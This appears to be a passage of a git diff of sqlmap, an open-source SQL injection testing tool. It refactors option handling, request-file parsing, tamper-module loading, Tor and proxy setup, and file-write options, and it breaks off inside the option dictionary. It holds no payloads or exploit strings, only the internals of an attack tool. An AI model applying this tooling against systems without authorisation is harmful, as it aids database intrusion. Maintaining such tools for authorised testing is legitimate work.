safeExpandUser from lib.core.common import saveConfig +from lib.core.common import setColor from lib.core.common import setOptimize from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage @@ -86,6 +82,7 @@ from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import WIZARD from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapInstallationException @@ -100,17 +97,14 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.log import FORMATTER from lib.core.optiondict import optDict -from lib.core.settings import BURP_REQUEST_REGEX -from lib.core.settings import BURP_XML_HISTORY_REGEX from lib.core.settings import CODECS_LIST_PAGE -from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DBMS_ALIASES from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS +from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import DUMMY_URL -from lib.core.settings import INJECT_HERE_REGEX from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET @@ -120,8 +114,6 @@ from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT -from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS -from lib.core.settings import SITE from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS @@ -131,8 +123,6 @@ from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX -from lib.core.settings import VERSION_STRING -from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData from lib.core.threads import setDaemon from lib.core.update import update @@ -174,201 +164,6 @@ except NameError: WindowsError = None -def _feedTargetsDict(reqFile, addedTargetUrls): - """ - Parses web scarab and burp logs and adds results to the target URL list - """ - - def _parseWebScarabLog(content): - """ - Parses web scarab logs (POST method not supported) - """ - - reqResList = content.split(WEBSCARAB_SPLITTER) - - for request in reqResList: - url = extractRegexResult(r"URL: (?P.+?)\n", request, re.I) - method = extractRegexResult(r"METHOD: (?P.+?)\n", request, re.I) - cookie = extractRegexResult(r"COOKIE: (?P.+?)\n", request, re.I) - - if not method or not url: - logger.debug("not a valid WebScarab log data") - continue - - if method.upper() == HTTPMETHOD.POST: - warnMsg = "POST requests from WebScarab logs aren't supported " - warnMsg += "as their body content is stored in separate files. " - warnMsg += "Nevertheless you can use -r to load them individually." - logger.warning(warnMsg) - continue - - if not(conf.scope and not re.search(conf.scope, url, re.I)): - if not kb.targets or url not in addedTargetUrls: - kb.targets.add((url, method, None, cookie, None)) - addedTargetUrls.add(url) - - def _parseBurpLog(content): - """ - Parses burp logs - """ - - if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): - if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): - reqResList = [] - for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): - port, request = match.groups() - try: - request = request.decode("base64") - except binascii.Error: - continue - _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) - if _: - host = _.group(0).strip() - if not re.search(r":\d+\Z", host): - request = request.replace(host, "%s:%d" % (host, int(port))) - reqResList.append(request) - else: - reqResList = [content] - else: - reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) - - for match in reqResList: - request = match if isinstance(match, basestring) else match.group(0) - request = re.sub(r"\A[^\w]+", "", request) - - schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) - - if schemePort: - scheme = schemePort.group(1) - port = schemePort.group(2) - request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip()) - else: - scheme, port = None, None - - if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M): - continue - - if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): - continue - - getPostReq = False - url = None - host = None - method = None - data = None - cookie = None - params = False - newline = None - lines = request.split('\n') - headers = [] - - for index in xrange(len(lines)): - line = lines[index] - - if not line.strip() and index == len(lines) - 1: - break - - newline = "\r\n" if line.endswith('\r') else '\n' - line = line.strip('\r') - match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None - - if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None: - data = "" - params = True - - elif match: - method = match.group(1) - url = match.group(2) - - if any(_ in line for _ in ('?', '=', kb.customInjectionMark)): - params = True - - getPostReq = True - - # POST parameters - elif data is not None and params: - data += "%s%s" % (line, newline) - - # GET parameters - elif "?" in line and "=" in line and ": " not in line: - params = True - - # Headers - elif re.search(r"\A\S+:", line): - key, value = line.split(":", 1) - value = value.strip().replace("\r", "").replace("\n", "") - - # Cookie and Host headers - if key.upper() == HTTP_HEADER.COOKIE.upper(): - cookie = value - elif key.upper() == HTTP_HEADER.HOST.upper(): - if '://' in value: - scheme, value = value.split('://')[:2] - splitValue = value.split(":") - host = splitValue[0] - - if len(splitValue) > 1: - port = filterStringValue(splitValue[1], "[0-9]") - - # Avoid to add a static content length header to - # headers and consider the following lines as - # POSTed data - if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): - params = True - - # Avoid proxy and connection type related headers - elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): - headers.append((getUnicode(key), getUnicode(value))) - - if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): - params = True - - data = data.rstrip("\r\n") if data else data - - if getPostReq and (params or cookie): - if not port and isinstance(scheme, basestring) and scheme.lower() == "https": - port = "443" - elif not scheme and port == "443": - scheme = "https" - - if conf.forceSSL: - scheme = "https" - port = port or "443" - - if not host: - errMsg = "invalid format of a request file" - raise SqlmapSyntaxException, errMsg - - if not url.startswith("http"): - url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) - scheme = None - port = None - - if not(conf.scope and not re.search(conf.scope, url, re.I)): - if not kb.targets or url not in addedTargetUrls: - kb.targets.add((url, conf.method or method, data, cookie, tuple(headers))) - addedTargetUrls.add(url) - - checkFile(reqFile) - try: - with openFile(reqFile, "rb") as f: - content = f.read() - except (IOError, OSError, MemoryError), ex: - errMsg = "something went wrong while trying " - errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex)) - raise SqlmapSystemException(errMsg) - - if conf.scope: - logger.info("using regular expression '%s' for filtering targets" % conf.scope) - - _parseBurpLog(content) - _parseWebScarabLog(content) - - if not addedTargetUrls: - errMsg = "unable to find usable request(s) " - errMsg += "in provided file ('%s')" % reqFile - raise SqlmapGenericException(errMsg) - def _loadQueries(): """ Loads queries from 'xml/queries.xml' file. @@ -402,7 +197,7 @@ def __contains__(self, name): errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) for node in tree.findall("*"): queries[node.attrib['value']] = iterate(node) @@ -414,7 +209,7 @@ def _setMultipleTargets(): """ initialTargetsCount = len(kb.targets) - addedTargetUrls = set() + seen = set() if not conf.logFile: return @@ -427,7 +222,11 @@ def _setMultipleTargets(): raise SqlmapFilePathException(errMsg) if os.path.isfile(conf.logFile): - _feedTargetsDict(conf.logFile, addedTargetUrls) + for target in parseRequestFile(conf.logFile): + url = target[0] + if url not in seen: + kb.targets.add(target) + seen.add(url) elif os.path.isdir(conf.logFile): files = os.listdir(conf.logFile) @@ -437,7 +236,11 @@ def _setMultipleTargets(): if not re.search(r"([\d]+)\-request", reqFile): continue - _feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls) + for target in parseRequestFile(os.path.join(conf.logFile, reqFile)): + url = target[0] + if url not in seen: + kb.targets.add(target) + seen.add(url) else: errMsg = "the specified list of targets is not a file " @@ -478,22 +281,37 @@ def _setRequestFromFile(): textual file, parses it and saves the information into the knowledge base. """ - if not conf.requestFile: - return + if conf.requestFile: + conf.requestFile = safeExpandUser(conf.requestFile) + seen = set() - addedTargetUrls = set() + if not os.path.isfile(conf.requestFile): + errMsg = "specified HTTP request file '%s' " % conf.requestFile + errMsg += "does not exist" + raise SqlmapFilePathException(errMsg) - conf.requestFile = safeExpandUser(conf.requestFile) + infoMsg = "parsing HTTP request from '%s'" % conf.requestFile + logger.info(infoMsg) - if not os.path.isfile(conf.requestFile): - errMsg = "specified HTTP request file '%s' " % conf.requestFile - errMsg += "does not exist" - raise SqlmapFilePathException(errMsg) + for target in parseRequestFile(conf.requestFile): + url = target[0] + if url not in seen: + kb.targets.add(target) + seen.add(url) - infoMsg = "parsing HTTP request from '%s'" % conf.requestFile - logger.info(infoMsg) + if conf.secondReq: + conf.secondReq = safeExpandUser(conf.secondReq) + + if not os.path.isfile(conf.secondReq): + errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq + errMsg += "does not exist" + raise SqlmapFilePathException(errMsg) - _feedTargetsDict(conf.requestFile, addedTargetUrls) + infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq + logger.info(infoMsg) + + target = parseRequestFile(conf.secondReq, False).next() + kb.secondReq = target def _setCrawler(): if not conf.crawlDepth: @@ -687,7 +505,7 @@ def _setMetasploit(): if IS_WIN: try: - import win32file + __import__("win32file") except ImportError: errMsg = "sqlmap requires third-party module 'pywin32' " errMsg += "in order to use Metasploit functionalities on " @@ -700,7 +518,7 @@ def _(key, value): retVal = None try: - from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE + from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE) _ = OpenKey(_, key) retVal = QueryValueEx(_, value)[0] @@ -788,22 +606,22 @@ def _(key, value): raise SqlmapFilePathException(errMsg) def _setWriteFile(): - if not conf.wFile: + if not conf.fileWrite: return debugMsg = "setting the write file functionality" logger.debug(debugMsg) - if not os.path.exists(conf.wFile): - errMsg = "the provided local file '%s' does not exist" % conf.wFile + if not os.path.exists(conf.fileWrite): + errMsg = "the provided local file '%s' does not exist" % conf.fileWrite raise SqlmapFilePathException(errMsg) - if not conf.dFile: + if not conf.fileDest: errMsg = "you did not provide the back-end DBMS absolute path " - errMsg += "where you want to write the local file '%s'" % conf.wFile + errMsg += "where you want to write the local file '%s'" % conf.fileWrite raise SqlmapMissingMandatoryOptionException(errMsg) - conf.wFileType = getFileType(conf.wFile) + conf.fileWriteType = getFileType(conf.fileWrite) def _setOS(): """ @@ -880,6 +698,22 @@ def _setDBMS(): break +def _listTamperingFunctions(): + """ + Lists available tamper functions + """ + + if conf.listTampers: + infoMsg = "listing available tamper scripts\n" + logger.info(infoMsg) + + for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))): + content = openFile(script, "rb").read() + match = re.search(r'(?s)__priority__.+"""(.+)"""', content) + if match: + comment = match.group(1).strip() + dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip()))) + def _setTamperingFunctions(): """ Loads tampering functions from given script(s) @@ -918,7 +752,7 @@ def _setTamperingFunctions(): dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) - infoMsg = "loading tamper script '%s'" % filename[:-3] + infoMsg = "loading tamper module '%s'" % filename[:-3] logger.info(infoMsg) if not os.path.exists(os.path.join(dirname, "__init__.py")): @@ -931,8 +765,8 @@ def _setTamperingFunctions(): try: module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) - except (ImportError, SyntaxError), ex: - raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex))) + except Exception, ex: + raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex))) priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ @@ -962,7 +796,12 @@ def _setTamperingFunctions(): break elif name == "dependencies": - function() + try: + function() + except Exception, ex: + errMsg = "error occurred while checking dependencies " + errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex)) + raise SqlmapGenericException(errMsg) if not found: errMsg = "missing function 'tamper(payload, **kwargs)' " @@ -983,7 +822,7 @@ def _setTamperingFunctions(): def _setWafFunctions(): """ - Loads WAF/IPS/IDS detecting functions from script(s) + Loads WAF/IPS detecting functions from script(s) """ if conf.identifyWaf: @@ -1046,7 +885,7 @@ def _setSocketPreConnect(): if conf.disablePrecon: return - def _(): + def _thread(): while kb.get("threadContinue") and not conf.get("disablePrecon"): try: for key in socket._ready: @@ -1054,6 +893,12 @@ def _(): family, type, proto, address = key s = socket.socket(family, type, proto) s._connect(address) + try: + if type == socket.SOCK_STREAM: + # Reference: https://www.techrepublic.com/article/tcp-ip-options-for-high-performance-data-transmission/ + s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + except: + pass with kb.locks.socket: socket._ready[key].append((s._sock, time.time())) except KeyboardInterrupt: @@ -1078,6 +923,7 @@ def connect(self, address): break else: try: + candidate.shutdown(socket.SHUT_RDWR) candidate.close() except socket.error: pass @@ -1090,7 +936,7 @@ def connect(self, address): socket.socket._connect = socket.socket.connect socket.socket.connect = connect - thread = threading.Thread(target=_) + thread = threading.Thread(target=_thread) setDaemon(thread) thread.start() @@ -1127,7 +973,7 @@ def _setHTTPHandlers(): _ = urlparse.urlsplit(conf.proxy) except Exception, ex: errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) - raise SqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) hostnamePort = _.netloc.split(":") @@ -1231,7 +1077,7 @@ def _setSafeVisit(): key, value = line.split(':', 1) value = value.strip() kb.safeReq.headers[key] = value - if key == HTTP_HEADER.HOST: + if key.upper() == HTTP_HEADER.HOST.upper(): if not value.startswith("http"): scheme = "http" if value.endswith(":443"): @@ -1254,7 +1100,7 @@ def _setSafeVisit(): kb.safeReq.post = None else: errMsg = "invalid format of a safe request file" - raise SqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) else: if not re.search(r"\Ahttp[s]*://", conf.safeUrl): if ":443/" in conf.safeUrl: @@ -1416,14 +1262,6 @@ def _setHTTPExtraHeaders(): # Reference: http://stackoverflow.com/a/1383359 conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache")) -def _defaultHTTPUserAgent(): - """ - @return: default sqlmap HTTP User-Agent header - @rtype: C{str} - """ - - return "%s (%s)" % (VERSION_STRING, SITE) - def _setHTTPUserAgent(): """ Set the HTTP User-Agent header. @@ -1463,12 +1301,12 @@ def _setHTTPUserAgent(): _ = True for header, _ in conf.httpHeaders: - if header == HTTP_HEADER.USER_AGENT: + if header.upper() == HTTP_HEADER.USER_AGENT.upper(): _ = False break if _: - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT)) else: if not kb.userAgents: @@ -1483,10 +1321,10 @@ def _setHTTPUserAgent(): warnMsg += "file '%s'" % paths.USER_AGENTS logger.warn(warnMsg) - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT)) return - userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] + userAgent = random.sample(kb.userAgents or [DEFAULT_USER_AGENT], 1)[0] infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent infoMsg += "file '%s'" % paths.USER_AGENTS @@ -1527,6 +1365,19 @@ def _setHTTPCookies(): conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) +def _setHostname(): + """ + Set value conf.hostname + """ + + if conf.url: + try: + conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0] + except ValueError, ex: + errMsg = "problem occurred while " + errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex)) + raise SqlmapDataException(errMsg) + def _setHTTPTimeout(): """ Set the HTTP timeout @@ -1579,12 +1430,12 @@ def _createTemporaryDirectory(): except (OSError, IOError), ex: errMsg = "there has been a problem while accessing " errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) - raise SqlmapSystemException, errMsg + raise SqlmapSystemException(errMsg) else: try: if not os.path.isdir(tempfile.gettempdir()): os.makedirs(tempfile.gettempdir()) - except (OSError, IOError, WindowsError), ex: + except Exception, ex: warnMsg = "there has been a problem while accessing " warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) warnMsg += "make sure that there is enough disk space left. If problem persists, " @@ -1595,7 +1446,7 @@ def _createTemporaryDirectory(): if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: try: tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid())) - except (OSError, IOError, WindowsError): + except: tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid())) kb.tempDir = tempfile.tempdir @@ -1603,10 +1454,10 @@ def _createTemporaryDirectory(): if not os.path.isdir(tempfile.tempdir): try: os.makedirs(tempfile.tempdir) - except (OSError, IOError, WindowsError), ex: + except Exception, ex: errMsg = "there has been a problem while setting " errMsg += "temporary directory location ('%s')" % getSafeExString(ex) - raise SqlmapSystemException, errMsg + raise SqlmapSystemException(errMsg) def _cleanupOptions(): """ @@ -1647,7 +1498,10 @@ def _cleanupOptions(): conf.rParam = [] if conf.paramDel and '\\' in conf.paramDel: - conf.paramDel = conf.paramDel.decode("string_escape") + try: + conf.paramDel = conf.paramDel.decode("string_escape") + except ValueError: + pass if conf.skip: conf.skip = conf.skip.replace(" ", "") @@ -1663,15 +1517,17 @@ def _cleanupOptions(): if conf.url: conf.url = conf.url.strip() + if not re.search(r"\A\w+://", conf.url): + conf.url = "http://%s" % conf.url - if conf.rFile: - conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile)) + if conf.fileRead: + conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead)) - if conf.wFile: - conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile)) + if conf.fileWrite: + conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite)) - if conf.dFile: - conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile)) + if conf.fileDest: + conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest)) if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"): conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl) @@ -1688,14 +1544,6 @@ def _cleanupOptions(): if conf.optimize: setOptimize() - match = re.search(INJECT_HERE_REGEX, conf.data or "") - if match: - kb.customInjectionMark = match.group(0) - - match = re.search(INJECT_HERE_REGEX, conf.url or "") - if match: - kb.customInjectionMark = match.group(0) - if conf.os: conf.os = conf.os.capitalize() @@ -1713,16 +1561,33 @@ def _cleanupOptions(): if conf.testFilter: conf.testFilter = conf.testFilter.strip('*+') - conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter) + conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter) try: re.compile(conf.testFilter) except re.error: conf.testFilter = re.escape(conf.testFilter) + if conf.csrfToken: + original = conf.csrfToken + try: + re.compile(conf.csrfToken) + + if re.escape(conf.csrfToken) != conf.csrfToken: + message = "provided value for option '--csrf-token' is a regular expression? [Y/n] " + if not readInput(message, default='Y', boolean=True): + conf.csrfToken = re.escape(conf.csrfToken) + except re.error: + conf.csrfToken = re.escape(conf.csrfToken) + finally: + class _(unicode): + pass + conf.csrfToken = _(conf.csrfToken) + conf.csrfToken._original = original + if conf.testSkip: conf.testSkip = conf.testSkip.strip('*+') - conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip) + conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip) try: re.compile(conf.testSkip) @@ -1784,8 +1649,8 @@ def _cleanupOptions(): if conf.col: conf.col = re.sub(r"\s*,\s*", ',', conf.col) - if conf.excludeCol: - conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol) + if conf.exclude: + conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) if conf.binaryFields: conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields) @@ -1793,6 +1658,9 @@ def _cleanupOptions(): if any((conf.proxy, conf.proxyFile, conf.tor)): conf.disablePrecon = True + if conf.dummy: + conf.batch = True + threadData = getCurrentThreadData() threadData.reset() @@ -1807,23 +1675,13 @@ def _cleanupEnvironment(): if hasattr(socket, "_ready"): socket._ready.clear() -def _dirtyPatches(): - """ - Place for "dirty" Python related patches - """ - - httplib._MAXLINE = 1 * 1024 * 1024 # accept overly long result lines (e.g. SQLi results in HTTP header responses) - - if IS_WIN: - from thirdparty.wininetpton import win_inet_pton # add support for inet_pton() on Windows OS - -def _purgeOutput(): +def _purge(): """ - Safely removes (purges) output directory. + Safely removes (purges) sqlmap data directory. """ - if conf.purgeOutput: - purge(paths.SQLMAP_OUTPUT_PATH) + if conf.purge: + purge(paths.SQLMAP_HOME_PATH) def _setConfAttributes(): """ @@ -1861,7 +1719,7 @@ def _setConfAttributes(): conf.tests = [] conf.trafficFP = None conf.HARCollectorFactory = None - conf.wFileType = None + conf.fileWriteType = None def _setKnowledgeBaseAttributes(flushAll=True): """ @@ -1875,6 +1733,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.absFilePaths = set() kb.adjustTimeDelay = None kb.alerted = False + kb.aliasName = randomStr() kb.alwaysRefresh = None kb.arch = None kb.authHeader = None @@ -1941,6 +1800,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.forcePartialUnion = False kb.forceWhere = None kb.futileUnion = None + kb.heavilyDynamic = False kb.headersFp = {} kb.heuristicDbms = None kb.heuristicExtendedDbms = None @@ -2012,6 +1872,8 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.rowXmlMode = False kb.safeCharEncode = False kb.safeReq = AttribDict() + kb.secondReq = None + kb.serverHeader = None kb.singleLogFlags = set() kb.skipSeqMatcher = False kb.reduceTests = None @@ -2034,6 +1896,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.uChar = NULL kb.unionDuplicates = False kb.wafSpecificResponse = None + kb.wizardMode = False kb.xpCmdshellAvailable = False if flushAll: @@ -2115,6 +1978,8 @@ def _useWizardInterface(): dataToStdout("\nsqlmap is running, please wait..\n\n") + kb.wizardMode = True + def _saveConfig(): """ Saves the command line options to a sqlmap configuration INI file @@ -2309,7 +2174,6 @@ def _setTorHttpProxySettings(): errMsg = "can't establish connection with the Tor HTTP proxy. " errMsg += "Please make sure that you have Tor (bundle) installed and setup " errMsg += "so you could be able to successfully use switch '--tor' " - raise SqlmapConnectionException(errMsg) if not conf.checkTor: @@ -2330,7 +2194,6 @@ def _setTorSocksProxySettings(): errMsg = "can't establish connection with the Tor SOCKS proxy. " errMsg += "Please make sure that you have Tor service installed and setup " errMsg += "so you could be able to successfully use switch '--tor' " - raise SqlmapConnectionException(errMsg) # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) @@ -2343,7 +2206,7 @@ def _checkWebSocket(): from websocket import ABNF except ImportError: errMsg = "sqlmap requires third-party module 'websocket-client' " - errMsg += "in order to use WebSocket funcionality" + errMsg += "in order to use WebSocket functionality" raise SqlmapMissingDependence(errMsg) def _checkTor(): @@ -2400,10 +2263,18 @@ def _basicOptionValidation(): errMsg = "switch '--eta' is incompatible with option '-v'" raise SqlmapSyntaxException(errMsg) + if conf.secondUrl and conf.secondReq: + errMsg = "option '--second-url' is incompatible with option '--second-req')" + raise SqlmapSyntaxException(errMsg) + if conf.direct and conf.url: errMsg = "option '-d' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) + if conf.direct and conf.dbms: + errMsg = "option '-d' is incompatible with option '--dbms'" + raise SqlmapSyntaxException(errMsg) + if conf.identifyWaf and conf.skipWaf: errMsg = "switch '--identify-waf' is incompatible with switch '--skip-waf'" raise SqlmapSyntaxException(errMsg) @@ -2535,11 +2406,11 @@ def _basicOptionValidation(): raise SqlmapSyntaxException(errMsg) if conf.checkTor and not any((conf.tor, conf.proxy)): - errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)" + errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)" raise SqlmapSyntaxException(errMsg) if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535): - errMsg = "value for option '--tor-port' must be in range 0-65535" + errMsg = "value for option '--tor-port' must be in range [0, 65535]" raise SqlmapSyntaxException(errMsg) if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): @@ -2570,6 +2441,10 @@ def _basicOptionValidation(): errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" raise SqlmapSyntaxException(errMsg) + if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)): + errMsg = "option '--crack' should be used as a standalone" + raise SqlmapSyntaxException(errMsg) + if isinstance(conf.uCols, basestring): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): errMsg = "value for option '--union-cols' must be a range with hyphon " @@ -2584,9 +2459,9 @@ def _basicOptionValidation(): if conf.encoding: _ = checkCharEncoding(conf.encoding, False) if _ is None: - errMsg = "unknown charset '%s'. Please visit " % conf.encoding + errMsg = "unknown encoding '%s'. Please visit " % conf.encoding errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE - errMsg += "supported charsets" + errMsg += "supported encodings" raise SqlmapSyntaxException(errMsg) else: conf.encoding = _ @@ -2622,8 +2497,7 @@ def init(): _setRequestFromFile() _cleanupOptions() _cleanupEnvironment() - _dirtyPatches() - _purgeOutput() + _purge() _checkDependencies() _createTemporaryDirectory() _basicOptionValidation() @@ -2632,6 +2506,7 @@ def init(): _setDNSServer() _adjustLoggingFormatter() _setMultipleTargets() + _listTamperingFunctions() _setTamperingFunctions() _setWafFunctions() _setTrafficOutputFP() @@ -2639,10 +2514,10 @@ def init(): _resolveCrossReferences() _checkWebSocket() - parseTargetUrl() parseTargetDirect() if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)): + _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() _setHTTPCookies() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index ba79baa9166..b72cdffe4d4 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,255 +1,259 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ optDict = { - # Format: - # Family: { "parameter name": "parameter datatype" }, - # Or: - # Family: { "parameter name": ("parameter datatype", "category name used for common outputs feature") }, - "Target": { - "direct": "string", - "url": "string", - "logFile": "string", - "bulkFile": "string", - "requestFile": "string", - "sessionFile": "string", - "googleDork": "string", - "configFile": "string", - "sitemapUrl": "string", - }, - - "Request": { - "method": "string", - "data": "string", - "paramDel": "string", - "cookie": "string", - "cookieDel": "string", - "loadCookies": "string", - "dropSetCookie": "boolean", - "agent": "string", - "randomAgent": "boolean", - "host": "string", - "referer": "string", - "headers": "string", - "authType": "string", - "authCred": "string", - "authFile": "string", - "ignoreCode": "integer", - "ignoreProxy": "boolean", - "ignoreRedirects": "boolean", - "ignoreTimeouts": "boolean", - "proxy": "string", - "proxyCred": "string", - "proxyFile": "string", - "tor": "boolean", - "torPort": "integer", - "torType": "string", - "checkTor": "boolean", - "delay": "float", - "timeout": "float", - "retries": "integer", - "rParam": "string", - "safeUrl": "string", - "safePost": "string", - "safeReqFile": "string", - "safeFreq": "integer", - "skipUrlEncode": "boolean", - "csrfToken": "string", - "csrfUrl": "string", - "forceSSL": "boolean", - "hpp": "boolean", - "evalCode": "string", - }, - - "Optimization": { - "optimize": "boolean", - "predictOutput": "boolean", - "keepAlive": "boolean", - "nullConnection": "boolean", - "threads": "integer", - }, - - "Injection": { - "testParameter": "string", - "skip": "string", - "skipStatic": "boolean", - "paramExclude": "string", - "dbms": "string", - "dbmsCred": "string", - "os": "string", - "invalidBignum": "boolean", - "invalidLogical": "boolean", - "invalidString": "boolean", - "noCast": "boolean", - "noEscape": "boolean", - "prefix": "string", - "suffix": "string", - "tamper": "string", - }, - - "Detection": { - "level": "integer", - "risk": "integer", - 